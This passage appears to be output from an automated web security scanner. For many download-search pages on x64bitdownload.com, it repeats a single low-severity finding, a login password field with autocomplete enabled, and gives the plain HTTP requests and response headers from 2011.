<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-boards-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:59 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:05:00 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22boards%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22boards%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 86911
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-client-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:38:57 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:49:29 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22client%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91161
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-commander-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22commander%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22commander%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89024
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-community-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:10:27 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A9%3A%22community%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90778
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-complex-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:34 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22complex%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22complex%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 85797
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-conference-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:49 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22conference%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22conference%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 88850
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-cross-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:37:34 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:47:56 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22cross%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 90500
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-download-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:41:22 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:51:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94324
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-downloader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:13 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:25 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22downloader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98412
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-explorer-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:44 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:55 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A8%3A%22explorer%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A8%3A%22explorer%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 93074
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-ext2fs-ext3fs-paragon-extbrowser-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:40 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:44 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A32%3A%22ext2fs-ext3fs-paragon-extbrowser%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A32%3A%22ext2fs+ext3fs+paragon+extbrowser%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 29987
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-fast-download-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:00 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:07 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22fast-download%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22fast+download%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 96343
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-feed-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:47:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:57:51 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A4%3A%22feed%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 92799
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-feedreader-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:50:21 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:00:31 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A10%3A%22feedreader%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 41067
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-file-grabber-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:46 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:10 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22file-grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22file+grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94024
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-file-sharing-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:46:17 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:56:21 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A12%3A%22file-sharing%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A12%3A%22file+sharing%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 94396
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-firefox-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:57:48 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:08:11 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22firefox%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22firefox%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 97672
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-forum-c-44-newsgroup-clients-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:33:31 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 15:43:59 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A6%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22forum%22%3Bs%3A11%3A%22category_id%22%3Bs%3A2%3A%2244%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 33899
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-forum-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:54:32 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:04:58 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A5%3A%22forum%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 91001
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-forums-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:53:38 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:40 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A6%3A%22forums%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 87175
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-google-groups-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:59:10 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:09:20 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A13%3A%22google-groups%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A13%3A%22google+groups%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 81360
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-grabber-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:52:50 GMT Server: Apache/2.2.9 (Fedora) Expires: Mon, 24 Jan 2011 16:03:05 GMT Cache-Control: max-age=600 Pragma: cache Set-Cookie: last_search=a%3A5%3A%7Bs%3A16%3A%22keywords_encoded%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22o%22%3Bi%3A0%3Bs%3A1%3A%22s%22%3Bs%3A1%3A%22s%22%3Bs%3A8%3A%22keywords%22%3Bs%3A7%3A%22grabber%22%3Bs%3A1%3A%22p%22%3Bi%3A25%3B%7D; path=/ Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 98790
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="content ...[SNIP]... </div>
The page contains a form with the following action URL:
http://www.x64bitdownload.com/login.html
The form contains the following password field with autocomplete enabled:
password
Request
GET /64-bit-group-downloads.html HTTP/1.1 Host: www.x64bitdownload.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: downloadsite=2k9hcu88qhiq0oc88olgcs7f73;
Response
